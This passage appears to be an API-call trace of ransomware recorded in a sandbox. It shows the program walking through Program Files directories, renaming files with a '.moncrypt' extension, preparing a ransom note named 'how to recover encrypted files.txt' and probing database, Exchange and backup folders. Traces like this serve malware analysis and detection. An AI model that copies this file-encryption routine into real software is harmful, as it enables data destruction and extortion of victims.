dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.289] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.289] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0046.289] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\ink\\fsdefinitions\\web.xmlr", lpUsedDefaultChar=0x0) returned 4 [0046.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0x54e240 [0046.289] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.289] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.289] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", dwFileAttributes=0x20) returned 0 [0046.290] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.moncrypt")) returned 0 [0046.290] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.290] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.290] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.290] GlobalUnlock (hMem=0x44000c) returned 0 [0046.290] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.290] GlobalLock (hMem=0x440004) returned 0x553188 [0046.290] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.290] GlobalUnlock (hMem=0x44000c) returned 0 [0046.290] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.290] GlobalUnlock (hMem=0x440004) returned 0 [0046.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3cee9e20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3cee9e20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.291] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.291] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.291] GlobalLock (hMem=0x440004) returned 0x551178 [0046.291] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.291] GlobalUnlock (hMem=0x440004) returned 0 [0046.291] GlobalLock (hMem=0x440004) returned 0x551178 [0046.291] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.291] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.291] GlobalUnlock (hMem=0x440004) returned 0 [0046.291] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.291] GlobalUnlock (hMem=0x44000c) returned 0 [0046.291] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.291] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3cee9e20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3cee9e20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.291] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.291] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.291] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.291] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.291] GlobalUnlock (hMem=0x44000c) returned 0 [0046.291] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.291] GlobalLock (hMem=0x440004) returned 0x554190 [0046.291] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.291] GlobalUnlock (hMem=0x44000c) returned 0 [0046.291] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.291] GlobalUnlock (hMem=0x440004) returned 0 [0046.291] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.291] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7a0866, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7a0866, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="auxpad", cAlternateFileName="")) returned 1 [0046.291] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.292] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.292] GlobalLock (hMem=0x440004) returned 0x552180 [0046.292] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.292] GlobalUnlock (hMem=0x440004) returned 0 [0046.292] GlobalLock (hMem=0x440004) returned 0x552180 [0046.292] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.292] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.292] GlobalUnlock (hMem=0x440004) returned 0 [0046.292] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.292] GlobalUnlock (hMem=0x44000c) returned 0 [0046.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.292] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.292] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.292] GlobalUnlock (hMem=0x44000c) returned 0 [0046.292] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.292] GlobalLock (hMem=0x440004) returned 0x554190 [0046.292] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.292] GlobalUnlock (hMem=0x44000c) returned 0 [0046.292] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.292] GlobalUnlock (hMem=0x440004) returned 0 [0046.292] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.292] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad", len=0x47 | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad") returned 1 [0046.292] GlobalLock (hMem=0x440004) returned 0x552180 [0046.292] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.292] GlobalUnlock (hMem=0x440004) returned 0 [0046.292] GlobalLock (hMem=0x440004) returned 0x552180 [0046.293] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.293] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.293] GlobalUnlock (hMem=0x440004) returned 0 [0046.293] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.293] GlobalUnlock (hMem=0x44000c) returned 0 [0046.293] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\") returned 26 [0046.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@뻀R뺔R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.294] GetLastError () returned 0x3 [0046.294] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.294] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\") returned 21 [0046.295] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@븄R企@\x18㽜Q\x181")) returned 0xffffffff [0046.295] GetLastError () returned 0x2 [0046.295] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.295] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\") returned 9 [0046.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@쌔R企@\x18?T\x18;")) returned 0xffffffff [0046.296] GetLastError () returned 0x2 [0046.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\") returned 8 [0046.296] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@숼R企@\x18?T\x18D")) returned 0xffffffff [0046.296] GetLastError () returned 0x2 [0046.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0046.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0046.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@븄R企@\x18쌔R\x18j")) returned 0xffffffff [0046.297] GetLastError () returned 0x2 [0046.297] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0046.297] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0046.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@ꟌR企@\x18?T\x18q")) returned 0xffffffff [0046.298] GetLastError () returned 0x2 [0046.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\쌐RÐ") returned 6 [0046.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0046.298] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@⊤R企@\x18?T\x18y")) returned 0xffffffff [0046.298] GetLastError () returned 0x2 [0046.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0046.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0046.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@숼R企@\x18?T\x18\x81")) returned 0xffffffff [0046.299] GetLastError () returned 0x2 [0046.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0046.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0046.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@ꟌR企@\x18?T\x18\x88")) returned 0xffffffff [0046.299] GetLastError () returned 0x2 [0046.299] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.299] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0046.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0046.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@⊤R企@\x18?T\x18\x8f")) returned 0xffffffff [0046.300] GetLastError () returned 0x2 [0046.300] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0046.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0046.300] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x554190, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5561a0, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꜤR䱠@숼R企@\x18?T\x18\x97")) returned 0xffffffff [0046.300] GetLastError () returned 0x2 [0046.300] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\") returned 0x48 [0046.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0046.301] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.301] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.301] GlobalUnlock (hMem=0x44000c) returned 0 [0046.301] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.301] GlobalLock (hMem=0x440004) returned 0x554190 [0046.301] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.301] GlobalUnlock (hMem=0x44000c) returned 0 [0046.301] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.301] GlobalUnlock (hMem=0x440004) returned 0 [0046.301] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\", cchLength=0x48 | out: lpsz="c:\\program 